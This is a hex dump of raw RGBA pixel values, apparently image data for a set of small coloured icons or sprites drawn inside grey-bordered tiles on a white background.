FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFBFBF
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFBFBFBFFFBFBFBFFFBFBFBFFFFFFFFFFFD4D4D4FFBDBCBCFFBDBCBCFFBDBD
BCFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBD
BDFFBDBDBCFFBDBCBCFFBCBCBCFFDEDEDEFFDADADAFFBFBFBFFFBFBFC0FFC0C0
C0FFC0C0C0FFBEBFBFFFBEBFBFFFBEBFBFFFBEBFBFFFBEBFBFFFBEBFBFFFC0C0
C0FFC0C0C0FFBFBFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0BFFFC0C0BFFFBFBFBFFFFFFFFFFFB6B7B7FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF1511E5FF2A27E8FF2A27E8FF1511E5FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9A9B9BFF9D5A3BFFD65E28FFD75F2AFFD75F
2AFFD7602BFFD7602BFFD7602BFFD7602BFFD7602BFFD86430FFDA6D3DFFDE85
5CFFBD9782FFD46534FFD65E28FF926958FFA2AD55FFEAEF63FFE5EB60FFE4EC
61FFE4EC61FFE4EC61FFE4EC61FFE4EC61FFE4EC61FFE4EC61FFE4EC61FFE4EC
61FFE4EC61FFE5EB60FFEDF262FF8F9863FF2628B7FF0408FFFF6B72FFFFD8A1
71FFAA5118FFC4CCFFFF0002FFFF0F11FFFF0F11FFFF0F11FFFF0F11FFFF0F11
FFFF0E10FFFF0D0FFFFF0D0FFFFF4C4E9BFFBCBCBCFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF1612DCFF2B27DFFF2B27DFFF1612DCFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA0A0FF9B4630FFC5441FFFC54521FFC646
22FFC64622FFC64722FFC64722FFC64722FFC64722FFCC5A3AFFE1A18FFFB563
4BFF71D7F8FFC14D2BFFC5431EFF8E5E4EFFA6A25CFFE0D068FFDDCE68FFDDCE
68FFDDCE69FFDDCE69FFDDCE69FFDDCE69FFDDCE69FFDDCE69FFDDCE69FFDDCE
69FFDDCE68FFDDCD68FFE2D16AFF939367FF2628BCFF0506FFFF686DFFFFD19C
6BFFA54E14FFBEC5FFFF0203FFFF1112FFFF1112FFFF1112FFFF1112FFFF1112
FFFF1012FFFF0F11FFFF0D0FFFFF4D4DA0FFB9BBBBFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF1511DBFF2927DFFF2927DFFF1511DBFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF8F362AFFB32915FFB32B17FFB42C
19FFB42D1AFFB42D1AFFB42D1AFFB42D1AFFBF4E3DFFC86556FFAE3928FF52BF
DEFF42D6FFFFAE3423FFB22915FF86524BFFA59561FFDFC070FFDDBD70FFDDBE
71FFDDBE71FFDDBE71FFDDBE71FFDDBE71FFDDBE71FFDDBE71FFDDBE71FFDDBE
71FFDDBE71FFDDBD70FFE2C271FF928B6BFF2525B9FF0304FFFF686CFFFFD19B
6BFFA44D13FFBDC5FFFF0202FFFF1111FFFF1111FFFF1111FFFF1111FFFF1111
FFFF100FFFFF0E0FFFFF0C0DFFFF4A4A9EFFBDBFBFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF0F0CE0FF2221E3FF2221E3FF0F0CE0FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A2A2FF842924FFA3130DFFA41610FFA517
11FFA51812FFA51812FFA51812FFA81F19FFAD2E29FFB5413DFF4C94AEFF1FD1
FFFF1DD1FFFF9E1F1BFFA3120DFF7D4947FFA48960FFDFB070FFDCAE71FFDBAE
72FFDBAF72FFDBAF72FFDBAF72FFDBAF72FFDBAF72FFDBAF72FFDBAF72FFDBAF
72FFDBAE72FFDCAE71FFE1B272FF92836BFF2020B9FF0000FFFF5E63FFFFCF9B
69FFA44C10FFB9C1FFFF0000FFFF0202FFFF0202FFFF0202FFFF0202FFFF0102
FFFF0101FFFF0000FFFF0000FFFF47479EFF642020FF730000FF720000FF7400
00FF740000FF710000FFA64230FFA33C2BFFA13A29FFA74331FF710000FF7400
00FF740000FF730000FF740000FF6D4747FF802323FF9D0A0AFF9E0D0DFF9E0E
0EFF9F0F0FFF9F1010FF9F1010FFB64B4BFFBF6262FF645E70FF10D0FFFF0FCF
FFFF0ED0FFFF971618FF9C0909FF7C4646FFB8A99EFFFDE8D2FFF9E4D0FFF9E4
CFFFFAE5CFFFFAE5D0FFFAE5D0FFFAE5D0FFFAE5D0FFFAE5D0FFFAE5D0FFF9E5
CFFFF9E4CFFFF9E5D0FFFFEAD4FF9C958DFF8186C5FF9FA6FFFFCAD6FFFFCA97
71FF9F4711FFF0FEFFFF9DA3FFFFA3AAFFFFA3AAFFFFA3AAFFFFA3AAFFFFA2A9
FFFFA2A9FFFFA1A8FFFFA5ACFFFF7C7EA4FF6B2424FF860C0CFF820D0DFF800E
0EFF820E0EFF831212FF800B0BFF800B0BFF800B0BFF800C0CFF831212FF820E
0EFF820E0EFF810C0CFF830909FF704949FF812323FFA00C0CFF9F0E0EFF9E0F
0FFF9F1010FF9F1010FFB34343FFAB2F2FFF85363EFF14CAF7FF10D0FFFF0FCF
FFFF0ED0FFFF971618FF9C0909FF7C4646FF202020FF000000FF000000FF0000
00FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF0000
00FF000000FF000000FF000000FF474747FF8C5B39FFB86B30FFB06533FFA250
20FF9E4715FFAE6335FFB36731FFB36731FFB36731FFB36731FFB36731FFB367
30FFB36730FFB2652EFFB6672DFF846A58FF6C2525FF890E0EFF881111FF8710
10FF800E0EFFB26E6EFF7C0808FF821010FF821010FF7D0808FFB36F6FFF820E
0EFF810D0DFF810C0CFF830909FF704949FF822323FFA20E0EFFA31111FFA211
11FF9F1010FF9F1111FFB44444FFA13234FF24B5DCFF10D0FFFF10D0FFFF0FCF
FFFF0ED0FFFF971618FF9C0909FF7C4646FF202020FF000103FF010406FF0104
06FF000204FF000003FF000103FF000103FF000103FF000103FF000103FF0002
04FF000003FF000000FF000000FF474747FF926A4AFFC6834AFFBF814FFFAA5C
2DFF9D4816FFBA774EFFC07B49FFC07B49FFC07B49FFC07B49FFC07B49FFC07C
49FFBF7C48FFBF7B47FFC47C47FF886F5DFF662020FF800000FF7D0000FF8100
00FF810000FF780000FF8C0B00FFA23A2AFFA23D2CFF870800FF710000FF7400
00FF730000FF720000FF760000FF6D4747FF832323FFA40F0FFFA51212FFA614
14FFA61515FFD39090FFAB2B2BFF428FACFF10D0FFFF10D0FFFF10D0FFFF0FCF
FFFF0ED0FFFF971618FF9D0A0AFF7C4646FFBEB09FFFFFF3D8FFFFEED6FFFFEF
D6FFFFEFD7FFFFEFD7FFFFEDD5FFFFECD2FFFFEAD1FFFFEBD1FFFFEBD1FFFFEB
D0FFFFEBD0FFFFEBD0FFFFF2D6FFA0978FFF6C70C4FF8288FFFFB8C3FFFFD09F
76FFA8551BFFE7F4FFFF7C84FFFF848AFFFF848AFFFF848AFFFF848AFFFF8389
FFFF8389FFFF8288FFFF858BFFFF7174A3FFBFC7C7FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF1B1EF0FF2E30F0FF2D2DEFFF171BEFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A5A5FF832424FFA61010FFA71313FFA816
16FFC25F5FFFAB1F1FFF6D6575FF17D4FFFF16D4FFFF15D3FFFF15D3FFFF15D2
FFFF13D4FFFFA01C1EFFA60F0FFF7C4747FFA58766FFE2B484FFDEB282FFDEB1
83FFDEB383FFDEB383FFDEB383FFDEB383FFDEB282FFDEB17DFFDDB180FFDDAF
80FFDDAF80FFDEB181FFE5B784FF91806EFF2020B9FF0000FFFF6368FFFFD5A3
70FFAE5B1CFFBCC3FFFF0000FFFF0C0CFFFF0B0BFFFF0A0AFFFF0A0AFFFF0A0A
FFFF0909FFFF0707FFFF0404FFFF47479EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF241FDFFF3933E2FF3933E2FF241EDFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF832323FFA81010FFA91313FFAB19
19FFC35E5EFF93464DFF1CD0F7FF17D5FFFF17D5FFFF17D5FFFF17D5FFFF16D5
FFFF15D6FFFFA31D1FFFA80F0FFF7C4646FFA58B6BFFE5BA8BFFE1B68BFFE1B8
8BFFE1B88BFFE1B88BFFE1B88BFFE1B88BFFE1B88BFFE1B88BFFE1B88BFFE1B8
8BFFE1B88BFFE1B68AFFE7BD8DFF928370FF2525B9FF0707FFFF6A6FFFFFD6A4
72FFAF5D1DFFC0C7FFFF0808FFFF1717FFFF1717FFFF1717FFFF1717FFFF1616
FFFF1515FFFF1313FFFF0F0FFFFF49499EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF231BDFFF3731E3FF3731E3FF231CDFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF842323FFA90E0EFFAC1717FFDBA1
A1FFA52325FF2ABBDDFF14D6FFFF14D6FFFF14D6FFFF14D6FFFF14D6FFFF14D6
FFFF12D6FFFFA41C1EFFA90D0DFF7C4646FFA68A6BFFE5BB8DFFE2B98BFFE2B9
8BFFE2B98CFFE2B98CFFE2B98CFFE2B98CFFE2B98CFFE2B98CFFE2B98CFFE2B9
8CFFE2B98BFFE2B98BFFE8BE8EFF92816FFF2323B9FF0202FFFF686DFFFFD8A5
70FFB05D1AFFBFC6FFFF0202FFFF1111FFFF1111FFFF1111FFFF1111FFFF1111
FFFF1010FFFF0E0EFFFF0A0AFFFF47479DFFC0C0C0FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF3E38E4FF514AE7FF514AE7FF3E38E4FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFACACACFF863636FFAB2929FFBE5A5AFFAE33
33FF589BB3FF2CD2F7FF2CD2F7FF2CD2F7FF2CD2F7FF2CD2F7FF2CD2F7FF2CD2
F7FF2AD3F7FFA53334FFAA2727FF895959FFAC9071FFE9C59CFFE7C19AFFE7C2
9AFFE7C299FFE7C299FFE7C299FFE7C299FFE7C299FFE7C299FFE7C299FFE7C2
99FFE7C29AFFE6C19AFFEBC59CFFA08F7CFF3030BDFF2C2CFDFF7C82FFFFDAAD
84FFB9703AFFC3CAFFFF2626FAFF3333FAFF3333FAFF3333FAFF3333FAFF3333
FAFF3333FAFF3131FAFF3232FDFF5555ACFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFC0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C1C1FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C1FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFF26289AFF0C10DCFF0E10D9FF0E10
D9FF0F11D9FF0F11D9FF0F11D9FF0F11D9FF0F11D9FF0F11D9FF0F11D7FF0F11
D8FF0E10D8FF0D0FD8FF0D0FDEFF4C4E8CFF317CC2FF2395FFFF2498FFFF2499
FFFF2498FFFF2598FFFF178EFFFF2397FFFF2598FFFF2598FFFF2598FFFF2498
FFFF2599FFFF2499FFFF249CFFFF5079A3FF93766CFFB36A4CFFA55433FFBB7D
64FFDEBEB0FFCE9F8CFFAD6245FFA45534FFC0866CFFDFBFB1FFC99782FFA95B
3BFF9C6551FFCE9D88FFE6C5B6FF85756FFF43A11CFF42DB00FF41D701FF42D6
00FF41D602FF41D601FF41D601FF41D601FF41D601FF41D601FF41D601FF42D6
02FF42D700FF41D701FF42DC00FF5A9144FF26289EFF0E0FD2FF1011D0FF0F12
D0FF1112D0FF1112D0FF1112D0FF1112D0FF1112D0FF1112D0FF1110D1FF100C
D9FF0E09DEFF0E0BDAFF0D0ED6FF4D4D8FFF39A3BEFF2DA5F7FF3073EEFF206D
F1FF2471F0FF1C6CF0FFDEF6F9FF3580F0FF2875F1FF2B77F1FF2B77F1FF2B77
F1FF2975F1FF2A76F1FF2876F7FF4F71A2FFA29088FFFFFFFFFFFFFFFFFFF1E6
E2FFCEA99AFFDBC1B5FFFFFFFFFFFFFFFFFFE9D8D0FFC69D89FFDBBFB4FFFFFF
FFFF93B4C5FFE9CEC3FFCCA08DFF948A86FF469020FF43B205FF43B107FF44B1
08FF45B107FF45B109FF45B109FF45B109FF45B109FF45B109FF45B109FF44B1
07FF44B108FF43B107FF42B404FF598944FF25259CFF0C0DD2FF0F10CEFF100F
D0FF1111D0FF1111D0FF1111D0FF1111D0FF1111D0FF110FD2FF0F10CBFF154E
59FF106E1CFF114A56FF0B0DCEFF49498FFF3A95B7FF2AC3F8FF85DDF1FF9CB5
EAFF7899EDFF194EE9FFCCDCECFF5780E9FF295CEBFF2F60EAFF2E5FEBFF2154
E9FF2457E9FF2C5DEBFF2C5FEFFF54699CFF9D867AFFAB664AFF974523FFB782
68FFE0C7BCFFCBA595FFA76144FF994A29FFBD8A73FFE0C9BDFFCDA291FFBC8C
74FF9D9492FFE3C8BCFFE5C9BEFF8C7E78FF467C1FFF449B05FF459908FF4699
09FF46990AFF469A0AFF469A0AFF469A0AFF469A0AFF469A0AFF469A0AFF4699
0AFF459909FF449907FF439B05FF5C7D47FF25259BFF090BD1FF0C0ECFFF0F0F
CEFF0E10CEFF100FCEFF0F0FCEFF0F0FCEFF0F0ED0FF0D10C2FF145F0DFF0849
53FF9CB618FF206641FF0A4E1EFF484987FF3C8EB2FF33BAF4FF2FB5F0FF72CB
EBFFB3DBE3FFB8BAE2FFB3BDE2FFABB9EDFF2D48E3FF2946E6FF1F3EE3FFDFE3
EEFFC6CFF1FF2441E4FF2E4BEBFF556097FF9B8478FFF9F2EEFFFFFFFFFFE8D6
D0FFC59986FFD2B1A3FFF9F4F2FFFFFFFFFFE0C8BFFFBF8B73FFCDB8A8FF48AB
D7FF6AAFCCFF58B0CEFFCD8E72FF8F837CFF466D1FFF448402FF458506FF4785
06FF478608FF488608FF488608FF488608FF488608FF488608FF478608FF4786
08FF468507FF458504FF448601FF5C7446FF25259CFF0909D0FF0C0DCFFF0D0D
CFFF0E0ECFFF0F0FD0FF0F0FD0FF1010D0FF0D0CD1FF282AC2FF5C8B6DFFF7D0
13FFC6A226FFD6B92DFF8CA66AFF58588CFF3F8CB0FF34B7F4FF35B4F0FF31B4
F0FF22AEF0FFC6E1E4FFB9BBE4FF99A1E7FF132AE1FF8B94DEFFADB1DFFF9BA3
EAFF5E6BDFFF2C40E2FF2F42E9FF565C94FFA18F87FFB4755AFF9F5333FFC08F
78FFE6D6CDFFD4B4A5FFAE6D53FFA05738FFC49784FFE9D6CCFFCCC6BFFF1700
B2FF2543A9FF382FAEFFFFF0E0FF8F837DFF2CA7C4FF1AE2FFFF1DDFFFFF1EE0
FFFF1EE0FFFF1FE0FFFF1FE0FFFF1FE0FFFF1FE0FFFF1FE0FFFF1FE0FFFF1EE0
FFFF1EE0FFFF1CDFFFFF1AE5FFFF4F93A3FF23239BFF0507DBFF070DDBFF0308
D3FF0000C9FF0C0CCFFF0E0FD1FF0F0FD0FF0B0BD0FF3B3AD0FF6B65D0FF9BC1
F5FFA5AFBDFFA1AEB0FF4649D3FF5D5C8DFF3F8DB0FF3ABAF4FF37B5F0FF37B5
F0FF31B2EFFF80C9EBFFE5E9E5FF8C9EE3FFDAD5E8FFF6F3E9FFB6BCE4FF1C31
E0FF2137E4FF273CE3FF2F43E9FF565C94FF987A6AFFEFE1DBFFFFFEFEFFDDC2
B7FFBD896BFFCFA58CFFF0E5E1FFFEFCFCFFD7BAACFFB57A61FFCEB9ADFFDFDE
CFFF87C4C8FFD5D3C8FFBF8368FF8C7C75FF31A2B6FF22DCFDFF21D9F9FF20D8
F9FF23D9F9FF23D9F9FF23D9F9FF23D9F9FF23D9F9FF23D9F9FF23D9F9FF23D9
F9FF22D9F9FF20D7F9FF1DDEFFFF50919BFF3036A9FFB76342FF6D0000FFA64E
31FFE3D1CFFFA3ABFCFF3027C1FF0C0DD1FF0B0BD0FF2E2ECDFFFFFFDEFF908B
8BFF99864BFF99520BFFE3E7CAFF58588DFF3F8EB0FF3DBBF5FF3EB9EFFF3DB8
EFFF37B4F0FF3AB4EEFFAAD3E7FFD5E4E5FF80C8EAFFC8CEE5FFF0EEEBFFDDDE
E5FFA2A9E5FFA3ACE9FF243AE9FF565C94FF6860B3FFAA5C31FFA1522DFFD4AC
8DFFD0CAF8FF9083EAFFB17664FFA96648FFCCA797FFF0E5E0FFDAB9ADFFBB73
5BFF87807AFFE3BDB0FFF5EAE4FF928A84FF32A2B6FF25DDFDFF28DAF9FF28DA
F9FF22D8F9FF21D8F9FF22D9F9FF22D9F9FF23D9F9FF23D9F9FF23D9F9FF23D9
F9FF22D9F9FF20D8F9FF1DDEFFFF50919BFF2C30A5FFD8A488FFDBCBD3FF96A0
FEFF6E4487FF8E1C00FF310A7DFF0B0ED6FF0A0ACFFF2F2FCCFFDEE6E9FF8C90
D9FF0000A7FF8185DBFFD8E4EEFF58568CFF408DB1FF40BDF5FF42BBF1FF43BB
F1FF44BBF1FF3FB9EFFF32B5F0FF25B0F1FF64C0EAFFF7EFE9FFBDD3E2FF3346
DDFFA9AEDDFFAFB5E8FF2C40E7FF565D94FF6D63A9FFE6BE95FFD6D0F4FF9985
DFFFA77582FFB06329FFE4CDC2FFF5EEEBFFCEAB9BFFAF6C54FFA29062FFB8B9
91FF8EAE95FFAD926AFFB27457FF887670FF32ADB8FF27EFFFFF29EBFBFF2BEB
FBFF2CEBFBFF28EBFBFF24E9FBFF21E8FBFF20E7FBFF20E7FBFF20E7FBFF20E7
FBFF1FE7FBFF1DE8FBFF1BEFFFFF4F969EFF26269DFF7176F1FF686BE8FF7070
E3FF7276EBFF7781F6FF383BE1FF1414D3FF1111D4FF3535CEFFFFFFFFFFFFFF
FFFF3B3BA5FFFEFEF8FFFFFFFFFF56568BFF408EB1FF44BFF6FF45BDF2FF46BD
F2FF47BDF2FF47BDF2FF47BDF2FF43BBF1FF7AC7E9FFFFF2EDFFE4E8E8FFFAF6
EDFFD3D1E8FF6571E2FF374EEDFF585F94FF4C3699FF8B70E8FF8266DDFF8A6D
DBFF886DE0FF816CEDFFC29686FFBA8366FFDABCAFFFFAF7F6FFE6E0D4FF6F96
4AFF57884CFFAEB488FFFFFEFFFF968E8CFF3F259CFF3E13D5FF3F16D2FF4018
D2FF4019D2FF4019D2FF4019D2FF4119D2FF4018D0FF3D16D1FF3C16CFFF3C15
CFFF3D15D1FF3E14D1FF3F13D8FF58498DFF25259EFF6A6FF0FF6A6DE7FF6767
E3FF666AEAFF7079F6FF3538E2FF1414D4FF1616D5FF1717D2FF2020CDFF1E1E
CDFF2C2CD4FF1D1DCDFF1919D2FF49498CFF418EB1FF46C1F6FF47BDF2FF48BF
F2FF49BFF2FF49BFF2FF49BFF2FF46BEF2FF58C1EFFFABD0E2FFE6EBECFFBCDE
ECFF77CCEDFFABD3ECFF4C58E9FF565C94FF4B3499FF886BE8FF876ADDFF8566
DCFF8368E3FF7C66ECFFDEC6C2FFF1E4DDFFCEA695FFB36E54FFA4AD77FF8DB3
76FF5A8F49FF8FB46FFFAC714CFF86736BFF3F309EFF3F27D9FF4029D5FF412B
D7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422C
D7FF412BD7FF3F29D5FF3F26DCFF564F8FFF2D30A7FFCC9387FF7767C6FFB3BC
FFFFDCAE99FF911800FF350A86FF0C10DDFF1111D6FF1010D5FF0E0ED5FF0E0E
D5FF0D0DD5FF0B0BD5FF0707DCFF47478CFF418FB1FF46C2F6FF46BFF2FF48BF
F2FF48BFF2FF48BFF2FF48BFF2FF48BFF2FF46BEF2FF3FBCF2FF4ABCEFFF3CBC
F3FF41BDF3FF4AC1F0FF45B9F9FF556293FF6E64A9FFCAA097FF9C85E8FFCCBF
EDFFE3BE95FFB97040FFCDA38FFFC4927BFFE2C8BFFFFFFFFFFFBBBB96FFBDAE
8DFF99965EFFB1DCA6FFFFFFFDFF989392FF3D2F9EFF3F24DBFF3F27D7FF4027
D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028
D7FF4027D7FF3F25D7FF4024DEFF554E8DFF373CACFFBF7767FF881F15FF9958
67FF887AD0FFC2CAFFFF7266D1FF2D2EDDFF3333DCFF3333DCFF3333DBFF3333
DBFF3333DBFF3131DBFF3232DFFF55559AFF4995B7FF61CBF8FF5DC7F5FF5EC9
F5FF5EC8F5FF5EC8F5FF5EC8F5FF5EC8F5FF5EC8F5FF5EC8F5FF5DC8F5FF5EC8
F5FF5EC9F5FF5CC7F5FF60CDFAFF6495A8FF6F65B0FFC4875EFFC38962FFB68D
A2FFAF9EEEFFC2B6E7FFE3C8B6FFE8D3C9FFD3AE9EFFB97B61FFCE9E8CFFE2D0
C1FFECD2CCFFD7AD9FFFBD7D64FF917A70FF453AA5FF5B47E0FF5843DDFF5845
DDFF5944DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5944
DDFF5845DDFF5744DDFF5945E1FF615B9CFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDCDCDCFFC2C2C2FFC2C2C2FFC2C2
